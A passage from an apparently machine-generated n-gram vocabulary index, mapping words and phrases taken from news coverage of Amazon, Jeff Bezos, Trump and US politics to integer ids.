82062, "write legislation": 82063, "political theater": 82064, "despite sexual": 82065, "administration solar": 82066, "whiff": 82067, "including large": 82068, "idea studio": 82069, "phillips life": 82070, "looming tower": 82071, "clark salting": 82072, "societal obligations": 82073, "alienated marginalized": 82074, "cortez": 82075, "attended fundraiser": 82076, "shared equally": 82077, "falsifying time": 82078, "washingtonpost cnn": 82079, "driven": 82080, "mgmt incorporated": 82081, "2blvcpl": 82082, "additional incentives": 82083, "tracking": 82084, "deals assiduously": 82085, "tree": 82086, "cartels cash": 82087, "trump commentators": 82088, "trump heidi": 82089, "lawmakers sent": 82090, "certain content": 82091, "paradigm": 82092, "isn impacting": 82093, "mulls new": 82094, "infamously": 82095, "created 135": 82096, "delicate situation": 82097, "subtle thrills": 82098, "pentagon shares": 82099, "afp stephanie": 82100, "minority shareholders": 82101, "democratic blue": 82102, "bridewater": 82103, "folks unhappy": 82104, "treasuries central": 82105, "favored companies": 82106, "housing dawn": 82107, "card simon": 82108, "spied": 82109, "40s isn": 82110, "network sources": 82111, "representative told": 82112, "bezos enlisted": 82113, "lisa boothe": 82114, "stays ahead": 82115, "thinks trump": 82116, "simply case": 82117, "state basis": 82118, "violence scenes": 82119, "skewer": 82120, "bibble": 82121, "case boosts": 82122, "married couple": 82123, "consequences west": 82124, "embedded": 82125, "competitor amazon": 82126, "voter data": 82127, "image getty": 82128, "business registers": 82129, "selections trump": 82130, "diploid": 82131, "options play": 82132, "congress plan": 82133, "000 sales": 82134, "free solutions": 82135, "canada title": 82136, "landlords": 82137, "brazen attempt": 82138, "scuttle plan": 82139, "statement according": 82140, "hiking pants": 82141, "navy days": 82142, "rights zeid": 82143, "term harm": 82144, "provides reporting": 82145, "including preface": 82146, "mccain finally": 82147, "lou barletta": 82148, "service reform": 82149, "literally bartiromo": 82150, "rachel cross": 82151, "market additionally": 82152, "intelligence director": 82153, "key reasona": 82154, "form feeling": 82155, "value takes": 82156, "quick downloads": 82157, "posting toasting": 82158, "tumulty columnist": 82159, "especially regarding": 82160, "wrath president": 82161, "amazon latest": 82162, "covering environmental": 82163, "goods shown": 82164, "raunchy selfies": 82165, "paris shutdown": 82166, "trump election": 82167, "uber competitors": 82168, "focusing attention": 82169, "filed suit": 82170, "indianapolis children": 82171, "devil mark": 82172, "walmart stephen": 82173, "linkedin job": 82174, "selling shirt": 82175, "silly misadventures": 82176, "ryan review": 82177, "advisory": 82178, "dont need": 82179, "accomplish greene": 82180, "location decisions": 82181, "sale sending": 82182, "louis stevenson": 82183, "jersey bruce": 82184, "sweatshirts removed": 82185, "contentious relationship": 82186, "king amazons": 82187, "stock telltale": 82188, "atsopro": 82189, "comcast earlier": 82190, "shows reboots": 82191, "ss": 82192, "holds 725": 82193, "sued amazon": 82194, "largest unforced": 82195, "exciting news": 82196, "new girlfriend": 82197, "marin": 82198, "expanding influence": 82199, "cinematographer": 82200, "table tijuana": 82201, "interview": 82202, "grew pinterest": 82203, "retail prescription": 82204, "jpmorgan prediction": 82205, "shares northwestern": 82206, "expected": 82207, "jobs data": 82208, "actuals": 82209, "nondocumentary feature": 82210, "applauds cowboys": 82211, "origin president": 82212, "volumes actually": 82213, "operation": 82214, "fires bezos": 82215, "america estimated": 82216, "revoked nov": 82217, "goblet": 82218, "potentially compromising": 82219, "grassroots hyper": 82220, "scott ryan": 82221, "warns stephen": 82222, "pocketing 150": 82223, "kayali": 82224, "griffeth right": 82225, "levenson": 82226, "voicing stark": 82227, "haldimand brant": 82228, "modern digital": 82229, "avenue landmark": 82230, "perigon": 82231, "trumps supreme": 82232, "age amazon": 82233, "evangelical right": 82234, "jf0cj6zesg willforthrill": 82235, "subsidy cronyism": 82236, "pay high": 82237, "time putting": 82238, "today parenting": 82239, "place shelter": 82240, "ghanaian": 82241, "hyper timely": 82242, "published": 82243, "member stepped": 82244, "west va": 82245, "stakes battle": 82246, "fake hate": 82247, "luxuries": 82248, "2095956267355712 ksw": 82249, "carlson sharply": 82250, "variety": 82251, "straightforward proven": 82252, "helping fix": 82253, "mock horror": 82254, "house revoked": 82255, "million lawsuit": 82256, "angry tias": 82257, "europe trip": 82258, "financial stability": 82259, "annual author": 82260, "monument valley": 82261, "realdonaldtrump despite": 82262, "hype cycle": 82263, "testament": 82264, "chargers": 82265, "technologies potential": 82266, "microsoft nasdaq": 82267, "searched mail": 82268, "reported barron": 82269, "mounted vigorous": 82270, "gracefully": 82271, "helps american": 82272, "testament supersede": 82273, "engulfed": 82274, "amazon thanked": 82275, "using lot": 82276, "libel read": 82277, "brendan mcdermid": 82278, "having previously": 82279, "tech conference": 82280, "washington address": 82281, "hm mngmt": 82282, "strip jasco": 82283, "terrible situation": 82284, "skilled craftsmen": 82285, "emerging tech": 82286, "felony violation": 82287, "climbed points": 82288, "books rich": 82289, "showed facebook": 82290, "inc_image_caption_override": 82291, "america australia": 82292, "finalists read": 82293, "finance governor": 82294, "delivering daily": 82295, "confirm brett": 82296, "rat amazon": 82297, "acquires actual": 82298, "kevin durant": 82299, "overblown chester": 82300, "twitter horrible": 82301, "oklahoma kansas": 82302, "uk announced": 82303, "sshe": 82304, "shameful history": 82305, "dec short": 82306, "9hubrtexlq": 82307, "transformational": 82308, "manufacturers home": 82309, "neil patrick": 82310, "pops don": 82311, "disallowed tax": 82312, "finance thank": 82313, "gasoline stations": 82314, "500 toys": 82315, "litigation exaggeration": 82316, "syndicators": 82317, "terms trump": 82318, "football body": 82319, "paranormal": 82320, "trump win": 82321, "google search": 82322, "affair just": 82323, "office arguing": 82324, "activist post": 82325, "homelessness count": 82326, "privacy terms": 82327, "hassan": 82328, "dismantling america": 82329, "disability leave": 82330, "way sears": 82331, "revealing details": 82332, "california referred": 82333, "following newly": 82334, "abigail klem": 82335, "eclipsing apple": 82336, "stevie mnooks": 82337, "tech corporation": 82338, "nycha residents": 82339, "process": 82340, "news broke": 82341, "600 respondents": 82342, "president nick": 82343, "fun gonzalez": 82344, "energy programs": 82345, "google progressives": 82346, "unprecedented wide": 82347, "ge president": 82348, "intelligence commerce": 82349, "chinese products": 82350, "cows making": 82351, "kilgore": 82352, "create blue": 82353, "services brought": 82354, "investments jeff": 82355, "questions ranging": 82356, "investigation americans": 82357, "occupying 747": 82358, "security funding": 82359, "ledge": 82360, "soaring bond": 82361, "hired famous": 82362, "means wealthy": 82363, "fed hiked": 82364, "urge patience": 82365, "daughters set": 82366, "spiritual teachers": 82367, "new aerospace": 82368, "bernank": 82369, "employers reveals": 82370, "nonprofit preschools": 82371, "cost continue": 82372, "hide story": 82373, "similarly legal": 82374, "released version": 82375, "described cutthroat": 82376, "overt campaign": 82377, "elite business": 82378, "steer clear": 82379, "origin chief": 82380, "groups later": 82381, "means resulted": 82382, "introduced stop": 82383, "multi factor": 82384, "buys": 82385, "trump impulses": 82386, "winding": 82387, "growing businesses": 82388, "amazon determined": 82389, "arabia murdered": 82390, "inc228693": 82391, "better paying": 82392, "wireless earphones": 82393, "stern hard": 82394, "amazon development": 82395, "googl make": 82396, "cases settled": 82397, "general crimes": 82398, "smile program": 82399, "traded fund": 82400, "faces recall": 82401, "select prices": 82402, "loan finally": 82403, "brahmins dorsey": 82404, "military powers": 82405, "complicit": 82406, "retail trends": 82407, "articles videos": 82408, "having tough": 82409, "children enlightenment": 82410, "corporations microsoft": 82411, "employee discounts": 82412, "oprah book": 82413, "racks bridges": 82414, "platform needs": 82415, "says longtime": 82416, "mere rumor": 82417, "amazon indirect": 82418, "discovered great": 82419, "larded": 82420, "fighting sarah": 82421, "addressed results": 82422, "sen rick": 82423, "alluring": 82424, "sanders comment": 82425, "local economy": 82426, "sales confronting": 82427, "capitalization following": 82428, "just genius": 82429, "track individual": 82430, "sanders": 82431, "purge": 82432, "statement queens": 82433, "sheehan": 82434, "primary driver": 82435, "hometown new": 82436, "kurtenbach": 82437, "sin": 82438, "create health": 82439, "beginning 100": 82440, "ingredients including": 82441, "jacking": 82442, "photography season": 82443, "freak": 82444, "nearly opposite": 82445, "restrict people": 82446, "reported late": 82447, "knocks 80m": 82448, "journey": 82449, "televised": 82450, "trump state": 82451, "smart experience": 82452, "electric monitor": 82453, "artificial flavors": 82454, "fuel surcharges": 82455, "reportedly sought": 82456, "cat apparently": 82457, "700 square": 82458, "amendment ahead": 82459, "know contact": 82460, "329 billion": 82461, "plan offered": 82462, "volunteers resume": 82463, "accusations inaccurate": 82464, "helping reelect": 82465, "bezos despite": 82466, "serving mandatory": 82467, "days names": 82468, "bacamontes": 82469, "bell street": 82470, "including relatively": 82471, "gross human": 82472, "firefighters determined": 82473, "poverty line": 82474, "hosting webcast": 82475, "fleets just": 82476, "competitor verizon": 82477, "symantec 1534392060": 82478, "normal purchasing": 82479, "developing strange": 82480, "landmark legislation": 82481, "retailer overstock": 82482, "fedex advantage": 82483, "week microsoft": 82484, "seth wasn": 82485, "shannon coulter": 82486, "leased millions": 82487, "ro maybe": 82488, "make cities": 82489, "duplicitous": 82490, "surviving national": 82491, "list beautiful": 82492, "taye": 82493, "banality": 82494, "optional test": 82495, "aspirations web": 82496, "premarket action": 82497, "chason": 82498, "coldwell": 82499, "applications according": 82500, "pecker chief": 82501, "clark detonations": 82502, "rich given": 82503, "friend pecker": 82504, "000 school": 82505, "practice today": 82506, "cure jangling": 82507, "best books": 82508, "worse": 82509, "personal triumphs": 82510, "half hour": 82511, "betty ford": 82512, "tech appliance": 82513, "couple plan": 82514, "remains pending": 82515, "proclaimed noting": 82516, "think long": 82517, "jersey levinson": 82518, "say lauren": 82519, "contributing david": 82520, "advisers michael": 82521, "openly thwarting": 82522, "healthy thing": 82523, "sprawling program": 82524, "dumping": 82525, "dozen states": 82526, "sustainable path": 82527, "currentvideoid": 82528, "official started": 82529, "twitterian": 82530, "standard plus": 82531, "digital form": 82532, "manjoo": 82533, "customers buying": 82534, "moronic": 82535, "commerce juggernaut": 82536, "000 kilometres": 82537, "commercial pr": 82538, "measure amazon": 82539, "tropical ecologist": 82540, "maisel available": 82541, "muckraking": 82542, "weren true": 82543, "blake file": 82544, "long hard": 82545, "democratic senator": 82546, "summer best": 82547, "trump famed": 82548, "reportedly allow": 82549, "american music": 82550, "protestors unfurled": 82551, "bahamas toby": 82552, "media elite": 82553, "free stores": 82554, "company stretch": 82555, "greatest procuring": 82556, "posted loss": 82557, "criticized social": 82558, "robbery": 82559, "ext 7636": 82560, "districts trained": 82561, "induced": 82562, "viser": 82563, "hitman barry": 82564, "exploits": 82565, "horror films": 82566, "private": 82567, "caster": 82568, "nella": 82569, "davis research": 82570, "fundamentals deteriorating": 82571, "time twitter": 82572, "wallstreetjournal": 82573, "atlanta based": 82574, "jpg 284x160": 82575, "bestselling book": 82576, "disastrous day": 82577, "uniforms discounts": 82578, "credible threats": 82579, "research outcomes": 82580, "2dy1qhmfka claire": 82581, "reach millions": 82582, "friend david": 82583, "profile writers": 82584, "deliveries higher": 82585, "throwaway tweets": 82586, "originally hoped": 82587, "news journalist": 82588, "backlash especially": 82589, "getty players": 82590, "subsidize billionaires": 82591, "convenient experience": 82592, "sequitur did": 82593, "juxtaposed": 82594, "workforce policy": 82595, "harm competition": 82596, "china try": 82597, "enquirer washington": 82598, "lead act": 82599, "authorised": 82600, "tbd": 82601, "thanks nbcsnl": 82602, "lynda": 82603, "autonomic partners": 82604, "agreement walgreens": 82605, "meyer lobbyists": 82606, "dedicated attacker": 82607, "intensifying competition": 82608, "democratic turnout": 82609, "states headquarters": 82610, "dying": 82611, "horribly wrong": 82612, "money republican": 82613, "politicians playing": 82614, "construction equipment": 82615, "student visa": 82616, "american oligarch": 82617, "2009 amazon": 82618, "woman rescued": 82619, "adaptive biotechnologies": 82620, "wholesale costs": 82621, "conduct": 82622, "prompted bezos": 82623, "subjugating african": 82624, "news tirades": 82625, "mainland": 82626, "expect deals": 82627, "cvpid": 82628, "insider samantha": 82629, "funding 2018": 82630, "today john": 82631, "wh": 82632, "cortez addressed": 82633, "tinkering": 82634, "reddick": 82635, "slow progress": 82636, "fox good": 82637, "facebook fear": 82638, "stock falling": 82639, "famous supply": 82640, "trump asserts": 82641, "roadblocks": 82642, "roasting": 82643, "documentary premieres": 82644, "cold news": 82645, "small things": 82646, "bashers need": 82647, "buy troll": 82648, "bellevue": 82649, "upcoming edition": 82650, "wrote really": 82651, "regulatory attention": 82652, "cruz texas": 82653, "box percentages": 82654, "pecker appeared": 82655, "construction plans": 82656, "nazis": 82657, "fiesty tweet": 82658, "melville house": 82659, "harry enten": 82660, "thepresident demand": 82661, "movies hotels": 82662, "196 000": 82663, "diaz": 82664, "notably usa": 82665, "excellent public": 82666, "netflix daredevil": 82667, "blisters": 82668, "interior staff": 82669, "hill notes": 82670, "electoral gain": 82671, "estate tax": 82672, "response mozambique": 82673, "love working": 82674, "snap qualified": 82675, "2411390002 cancelsend": 82676, "nimbler": 82677, "minerva": 82678, "advocacy effort": 82679, "billions mackenzie": 82680, "company cashier": 82681, "protagonist new": 82682, "poor quality": 82683, "looking zing": 82684, "840 words": 82685, "book recommendation": 82686, "smartphones using": 82687, "28th year": 82688, "uber ceo": 82689, "health tech": 82690, "creating task": 82691, "recep tayyip": 82692, "howard allegedly": 82693, "relatedarticles": 82694, "probing": 82695, "lawyer wasn": 82696, "law john": 82697, "enduring christian": 82698, "aluminum imported": 82699, "pure greed": 82700, "extension reuters": 82701, "fundamental justice": 82702, "poet": 82703, "house declined": 82704, "attrition": 82705, "circus amazon": 82706, "celebutard takes": 82707, "companies seattle": 82708, "opinion column": 82709, "benefits rose": 82710, "transferable": 82711, "replace constitution": 82712, "regulatory departments": 82713, "hui": 82714, "people making": 82715, "information google": 82716, "recent reports": 82717, "joint pulitzer": 82718, "parlophone fox": 82719, "senate career": 82720, "sourcedavid": 82721, "collecticon toys": 82722, "securities litigation": 82723, "facebook announced": 82724, "freq": 82725, "alum jerri": 82726, "lake housing": 82727, "gwl real": 82728, "financial returns": 82729, "utm_source twitter": 82730, "crystal pentagon": 82731, "2018 quarterly": 82732, "probability protected": 82733, "administration marty": 82734, "folha": 82735, "nyse uber": 82736, "services provided": 82737, "blames hillary": 82738, "decline read": 82739, "washing machines": 82740, "reward profile": 82741, "enacting joint": 82742, "youngest age": 82743, "lew": 82744, "surfaced": 82745, "chinook helicopter": 82746, "repeatedly called": 82747, "maur": 82748, "kubernetes bandwagonmany": 82749, "45th president": 82750, "hellblazer": 82751, "problem extra": 82752, "henssler assocs": 82753, "advocate sought": 82754, "brown smokehouse": 82755, "media big": 82756, "fewer trees": 82757, "532": 82758, "mean man": 82759, "vegas": 82760, "male": 82761, "helen rosethorn": 82762, "amazon drains": 82763, "misinformation cruise": 82764, "weaponization": 82765, "teslas earnings": 82766, "demonic child": 82767, "john thune": 82768, "cell number": 82769, "fast news": 82770, "multiple conservations": 82771, "562 million": 82772, "thatthe": 82773, "amazon king": 82774, "topical humor": 82775, "touting good": 82776, "excessive set": 82777, "time higher": 82778, "stiff industry": 82779, "recapture": 82780, "moac": 82781, "billion government": 82782, "bombshell remarks": 82783, "harry potter": 82784, "b5q 101": 82785, "news events": 82786, "beset": 82787, "york voters": 82788, "sustainable business": 82789, "nygren oakmark": 82790, "amazon monopoly": 82791, "1915": 82792, "gadgets plenty": 82793, "people debases": 82794, "tagline": 82795, "announcement stamps": 82796, "takes look": 82797, "tradeoff": 82798, "iana": 82799, "people face": 82800, "routines": 82801, "illicit drug": 82802, "helps trump": 82803, "scary thought": 82804, "t1 0r3wioxgeh": 82805, "susie": 82806, "carrying 400": 82807, "consumer behaviors": 82808, "esi": 82809, "power mafia": 82810, "standing rivalries": 82811, "troy aikman": 82812, "political flashpoint": 82813, "businesses sought": 82814, "deceiving": 82815, "financial statements": 82816, "political purpose": 82817, "regained": 82818, "inherently anti": 82819, "alphabet little": 82820, "late captain": 82821, "airmen": 82822, "tr gvi": 82823, "emergency blaming": 82824, "personally instructed": 82825, "3po couldn": 82826, "carousel owl": 82827, "purchases sellers": 82828, "county crystal": 82829, "game works": 82830, "rodd": 82831, "war technology": 82832, "quigley richmond": 82833, "trump emerged": 82834, "weeks leading": 82835, "beasley": 82836, "street pros": 82837, "rove marie": 82838, "granting yiwu": 82839, "garman": 82840, "obama deserved": 82841, "recreating": 82842, "228504": 82843, "maker lenovo": 82844, "schumer endorses": 82845, "statista": 82846, "reliable firm": 82847, "2018 amzn": 82848, "liberal independent": 82849, "revoking obama": 82850, "extramarital affair": 82851, "tech stories": 82852, "words witches": 82853, "affect apple": 82854, "morning amazon": 82855, "varying": 82856, "fight": 82857, "having relationship": 82858, "oliver popular": 82859, "goldman cool": 82860, "change reported": 82861, "unexplained": 82862, "common good": 82863, "doctor patient": 82864, "hits brought": 82865, "jr attracts": 82866, "wielding": 82867, "savings fully": 82868, "asserted": 82869, "madison square": 82870, "win did": 82871, "stories sanders": 82872, "native forests": 82873, "warned jason": 82874, "portion thereof": 82875, "170 distribution": 82876, "book signing": 82877, "reported watch": 82878, "director christine": 82879, "split reason": 82880, "challenges bolsonaro": 82881, "lisota eric": 82882, "better deals": 82883, "politicians diplomats": 82884, "kbh": 82885, "urine soda": 82886, "recently recommended": 82887, "president unlike": 82888, "pete bowden": 82889, "company wondered": 82890, "observed stacy": 82891, "cite survey": 82892, "jogged": 82893, "census count": 82894, "young age": 82895, "center author": 82896, "beauty kevin": 82897, "billion maryland": 82898, "mccain ship": 82899, "critics want": 82900, "declined year": 82901, "labor policies": 82902, "message bezos": 82903, "analyst harshita": 82904, "thirtieth": 82905, "tracking fedex": 82906, "private businesses": 82907, "team attendees": 82908, "nachman joseph": 82909, "square": 82910, "tnoah": 82911, "recent trip": 82912, "kathy willens": 82913, "stiff penalties": 82914, "song trump": 82915, "declared state": 82916, "toughest job": 82917, "cook apple": 82918, "day customers": 82919, "hot prime": 82920, "people exercising": 82921, "slow soy": 82922, "react": 82923, "contempt": 82924, "billions amazon": 82925, "kill trump": 82926, "quickly pointed": 82927, "photo jorg": 82928, "post delrahim": 82929, "global connectivity": 82930, "midterms california": 82931, "guiding social": 82932, "democratic left": 82933, "media related": 82934, "available explore": 82935, "ignore worker": 82936, "created lucrative": 82937, "mcdonell blue": 82938, "crunched": 82939, "mazie": 82940, "printed pages": 82941, "court case": 82942, "tech corporations": 82943, "largest subsidy": 82944, "handling shipment": 82945, "program supposedly": 82946, "day mitt": 82947, "commerce operations": 82948, "dragging new": 82949, "sharply criticised": 82950, "bezos announcement": 82951, "michael peterson": 82952, "seen lot": 82953, "facing war": 82954, "inc_newsworthyflag": 82955, "story millennials": 82956, "reach prompted": 82957, "better revenue": 82958, "painting michael": 82959, "return requests": 82960, "promised service": 82961, "fetch": 82962, "epic proportions": 82963, "recently expanded": 82964, "aviation hangar": 82965, "published details": 82966, "check amazon": 82967, "political actions": 82968, "891 14b": 82969, "visit places": 82970, "falling hurting": 82971, "actually added": 82972, "fresh post": 82973, "staff writer": 82974, "finance chairman": 82975, "trump resist": 82976, "wasn currently": 82977, "legislation brief": 82978, "median": 82979, "tray handles": 82980, "tony warr": 82981, "racist asshole": 82982, "misconduct leading": 82983, "indian millennials": 82984, "included fourth": 82985, "morgan brennan": 82986, "local lobbying": 82987, "enterprises": 82988, "kappa": 82989, "evasion cost": 82990, "lily cole": 82991, "witness saw": 82992, "husemen placidly": 82993, "party left": 82994, "approaches chris": 82995, "sears stock": 82996, "francoise bettencourt": 82997, "fortes seeing": 82998, "detentions apprehensions": 82999, "alibaba recently": 83000, "usa removed": 83001, "change boondoggles": 83002, "compared": 83003, "40c5919643104864b2db1be1f9f9adeb": 83004, "neutrality measure": 83005, "food market": 83006, "offset gains": 83007, "year imf": 83008, "look inside": 83009, "appropriate funding": 83010, "feminist author": 83011, "enamored": 83012, "conspiracy sf": 83013, "promote displacement": 83014, "fruit": 83015, "boycott flooding": 83016, "named luis": 83017, "virginia started": 83018, "146": 83019, "officials basically": 83020, "remove security": 83021, "research explains": 83022, "intraday record": 83023, "singaporean": 83024, "service losses": 83025, "utm_content 2018": 83026, "net operating": 83027, "raakhee": 83028, "sympathizes": 83029, "opening event": 83030, "significantly worse": 83031, "believes facebook": 83032, "msnbc host": 83033, "charts currently": 83034, "canvas toiletry": 83035, "fiji refused": 83036, "researchers states": 83037, "billion independent": 83038, "amazon valley": 83039, "considered tapping": 83040, "sharing costs": 83041, "small parts": 83042, "foto sourcebelk": 83043, "broke apple": 83044, "big consider": 83045, "city located": 83046, "disappointing quarter": 83047, "cents today": 83048, "lift technology": 83049, "heres dividend": 83050, "13990": 83051, "operatives": 83052, "tech learn": 83053, "tackle counterfeits": 83054, "marketplace set": 83055, "summit officials": 83056, "ebram abramowitz": 83057, "wasn supposed": 83058, "won stay": 83059, "seasonal increase": 83060, "health sex": 83061, "concede": 83062, "signed directive": 83063, "strangest check": 83064, "bnsf railway": 83065, "offering posted": 83066, "throwing hundreds": 83067, "care later": 83068, "secure social": 83069, "gubernatorial candidate": 83070, "donors": 83071, "comparatively safe": 83072, "194 shares": 83073, "governor kathy": 83074, "bad book": 83075, "press documented": 83076, "big demands": 83077, "new high": 83078, "fierce immigration": 83079, "endorses investor": 83080, "sleazy practice": 83081, "ju": 83082, "duper": 83083, "kristin hannah": 83084, "publishing trump": 83085, "emanuel strategy": 83086, "counterintelligence investigations": 83087, "rosenstein dems": 83088, "stop murdering": 83089, "shutdown white": 83090, "o9x g4": 83091, "stick xbox": 83092, "great company": 83093, "viet": 83094, "weakening protections": 83095, "staying power": 83096, "psychological therapies": 83097, "lakewood tonight": 83098, "refugee ceiling": 83099, "dramas": 83100, "reports sears": 83101, "leader declined": 83102, "jeffrey 70m": 83103, "kidnapped": 83104, "states introduced": 83105, "beau willimon": 83106, "story tells": 83107, "injured attempted": 83108, "sportswriter definitive": 83109, "summit announces": 83110, "taking apple": 83111, "outspoken positions": 83112, "soybean sales": 83113, "119 annual": 83114, "medical treatments": 83115, "jobs outnumber": 83116, "lic development": 83117, "election voter": 83118, "review group": 83119, "oddest result": 83120, "fantasies": 83121, "breakups involving": 83122, "tech plutocrat": 83123, "violate press": 83124, "small steps": 83125, "expectations instead": 83126, "jeffrey dastin": 83127, "mcdermid reuters": 83128, "production overseas": 83129, "maldonado": 83130, "bezoses took": 83131, "explaining": 83132, "dnainfo chain": 83133, "halt amzn": 83134, "dramatically trump": 83135, "homes grand": 83136, "usps needs": 83137, "revealed earlier": 83138, "newman": 83139, "director spike": 83140, "city new": 83141, "neighboring shelby": 83142, "quality": 83143, "fledged operations": 83144, "process say": 83145, "split broadly": 83146, "hold online": 83147, "major county": 83148, "patients": 83149, "rejection": 83150, "statesand saudi": 83151, "intent leaves": 83152, "independent report": 83153, "maloy": 83154, "main concern": 83155, "package revenues": 83156, "angry echo": 83157, "party don": 83158, "seen daily": 83159, "traders expect": 83160, "israel song": 83161, "quiet critics": 83162, "charts cdc_36162c8634251ee9931a470a_embed": 83163, "motion red": 83164, "books jeanine": 83165, "trump required": 83166, "agribusiness lobby": 83167, "blasio 180": 83168, "human remains": 83169, "skykick": 83170, "lawsuit giuliani": 83171, "stocks recover": 83172, "internet powerhouse": 83173, "disgraced rep": 83174, "did mention": 83175, "areas garnering": 83176, "cloud control": 83177, "hollywood studio": 83178, "tech alongside": 83179, "search hardware": 83180, "anchor votes": 83181, "divided bezos": 83182, "kids pillows": 83183, "broadband providers": 83184, "provision": 83185, "election says": 83186, "10th": 83187, "young premieres": 83188, "defiantly": 83189, "2011 amazon": 83190, "human fetal": 83191, "provide clarity": 83192, "violated cooperation": 83193, "neighborhood gentrification": 83194, "companies dealing": 83195, "customers amazon": 83196, "sponsor told": 83197, "helping obama": 83198, "positive putin": 83199, "investigation frmr": 83200, "projects konst": 83201, "\u0430a": 83202, "numerous news": 83203, "know pretty": 83204, "story jussie": 83205, "1950s": 83206, "clearly going": 83207, "billion ahead": 83208, "modern data": 83209, "mar\u00eda archila": 83210, "writer mark": 83211, "mental instability": 83212, "judge blocked": 83213, "strongly implied": 83214, "acosta stephenson": 83215, "microsoft logo": 83216, "skilled": 83217, "faang gang": 83218, "potentially retaliation": 83219, "glance london": 83220, "575 million": 83221, "began separating": 83222, "true inner": 83223, "super cautious": 83224, "intellectually honest": 83225, "housing markets": 83226, "film chronicles": 83227, "battling accusations": 83228, "aiding ice": 83229, "louis dejoy": 83230, "sky prompting": 83231, "happen rightly": 83232, "seattle complaints": 83233, "home john": 83234, "striking reversal": 83235, "govern free": 83236, "cramer cramer": 83237, "lovey dovey": 83238, "strangers annie": 83239, "states relax": 83240, "new lobby": 83241, "stockman": 83242, "named acting": 83243, "scale imageurl": 83244, "pursuing government": 83245, "examiner brands": 83246, "concerns facebook": 83247, "brand tlds": 83248, "chilling effect": 83249, "effort": 83250, "undefined a4ee": 83251, "weekly cards": 83252, "levinson": 83253, "pregnancy ads": 83254, "incredible work": 83255, "rigged economy": 83256, "photogenic": 83257, "couldn landlord": 83258, "tm newspaper": 83259, "view features": 83260, "ferrari grew": 83261, "special new": 83262, "tech operation": 83263, "banded": 83264, "reported past": 83265, "grueling corporate": 83266, "business growth": 83267, "rainforests rivers": 83268, "bowl liii": 83269, "week prominent": 83270, "multiple tactics": 83271, "company better": 83272, "immigrants": 83273, "griff good": 83274, "deal heckler": 83275, "rankles president": 83276, "jonathan lethem": 83277, "city operating": 83278, "judgemental": 83279, "gathering dust": 83280, "naming wings": 83281, "bolsonaro attended": 83282, "capitalism india": 83283, "zguz data": 83284, "bags share": 83285, "appear especially": 83286, "inoffensiveness": 83287, "counterclaim": 83288, "climbing": 83289, "seth meyers": 83290, "562 bought": 83291, "stoto": 83292, "flaccid": 83293, "corporation hardly": 83294, "bebeto": 83295, "alarm": 83296, "specific examples": 83297, "rhythms": 83298, "relatively rarely": 83299, "officers stop": 83300, "disenchanted": 83301, "products case": 83302, "passion": 83303, "hour increase": 83304, "375 billion": 83305, "county democratic": 83306, "workforce operations": 83307, "constitutional scholar": 83308, "overweight overweight": 83309, "bourdain world": 83310, "european focus": 83311, "age khan": 83312, "bay blvd": 83313, "affect chris": 83314, "politics social": 83315, "push amazon": 83316, "electric vehicles": 83317, "stalled small": 83318, "corporate affairs": 83319, "choose": 83320, "broadcast": 83321, "bafflingly": 83322, "queens photographer": 83323, "statement customer": 83324, "digital subscriptions": 83325, "stars salma": 83326, "goingthrough": 83327, "home turf": 83328, "news issues": 83329, "pirro source": 83330, "growers geekwire": 83331, "mckinsey estimates": 83332, "rogers fx": 83333, "registration": 83334, "morning sign": 83335, "lobbied alongside": 83336, "reprieve democrats": 83337, "secret tapes": 83338, "ganguli": 83339, "fight plays": 83340, "heated tensions": 83341, "points shea": 83342, "section 801": 83343, "emails differed": 83344, "administration nonsense": 83345, "truth agenda": 83346, "frank rollbacks": 83347, "college recruiting": 83348, "new fbi": 83349, "untimely": 83350, "different experiences": 83351, "entire supply": 83352, "current brexit": 83353, "lynxmpeeb4032": 83354, "perquisites": 83355, "corrected": 83356, "hulu app": 83357, "happens frequently": 83358, "fiber optic": 83359, "cking moron": 83360, "headline volatility": 83361, "modest decline": 83362, "observers saw": 83363, "gap band": 83364, "umbrella academy": 83365, "realdonaldtrump kept": 83366, "packages shipped": 83367, "chinese competitor": 83368, "various products": 83369, "personal campaigns": 83370, "trump insists": 83371, "total promised": 83372, "job changes": 83373, "157 billion": 83374, "pwc": 83375, "nature trump": 83376, "long ap": 83377, "mortifying": 83378, "die young": 83379, "million steven": 83380, "amid report": 83381, "amazon today": 83382, "brennan met": 83383, "growing strategy": 83384, "macroeconomic": 83385, "states subsidizing": 83386, "predicted disastrous": 83387, "petition reads": 83388, "ariana": 83389, "called ove": 83390, "replacement imageurl": 83391, "gounardes expanding": 83392, "traditionally considered": 83393, "rick wilson": 83394, "require employers": 83395, "positive news": 83396, "incorporate diverse": 83397, "source buisness": 83398, "enforcement executives": 83399, "possible actions": 83400, "disasters facebook": 83401, "just plain": 83402, "salacious text": 83403, "columnist ta": 83404, "computer 2019": 83405, "nemesis bezos": 83406, "hasn actually": 83407, "perched": 83408, "sell online": 83409, "matthew dowd": 83410, "kavanaugh service": 83411, "took dead": 83412, "profit generator": 83413, "nationalist party": 83414, "president dubious": 83415, "ex officials": 83416, "multiple meetings": 83417, "suppressing story": 83418, "136": 83419, "851 000": 83420, "says action": 83421, "puffy paint": 83422, "shares wisconsin": 83423, "yesterday primary": 83424, "confesses": 83425, "date closing": 83426, "skewered amazon": 83427, "2020 watch": 83428, "false inc_flag_for_reviewflag": 83429, "advocating": 83430, "marlins drafting": 83431, "ormond editor": 83432, "requested written": 83433, "neckband": 83434, "nadal": 83435, "bezos participates": 83436, "secretariat": 83437, "lasting trade": 83438, "northrop": 83439, "stein npr": 83440, "largest shopping": 83441, "bezos warned": 83442, "slaughtered": 83443, "giant concur": 83444, "global unions": 83445, "party civil": 83446, "canadians say": 83447, "zeros amazon": 83448, "cattleman": 83449, "trumps attacks": 83450, "really trying": 83451, "low expectations": 83452, "privacy advocate": 83453, "court held": 83454, "brand darn": 83455, "juiciest celeb": 83456, "remote screening": 83457, "trump absolute": 83458, "corporate north": 83459, "prolific amazon": 83460, "v4 array": 83461, "tabloid used": 83462, "suspiciously": 83463, "increasingly amazon": 83464, "speeds": 83465, "revenue decline": 83466, "analyzing": 83467, "holdings include": 83468, "mullaney ponzi": 83469, "unsecured phone": 83470, "controversial story": 83471, "1750": 83472, "poor rating": 83473, "jon sarlin": 83474, "studios previous": 83475, "old motel": 83476, "resourcefulness": 83477, "hiked": 83478, "annihilated": 83479, "inflame tensions": 83480, "dayton ohio": 83481, "khosrowshahi culture": 83482, "benefits despite": 83483, "previously federal": 83484, "new stoic": 83485, "funds calculate": 83486, "retailers entirely": 83487, "ninth circuit": 83488, "questioned president": 83489, "earned buy": 83490, "fishing": 83491, "ways away": 83492, "illegal 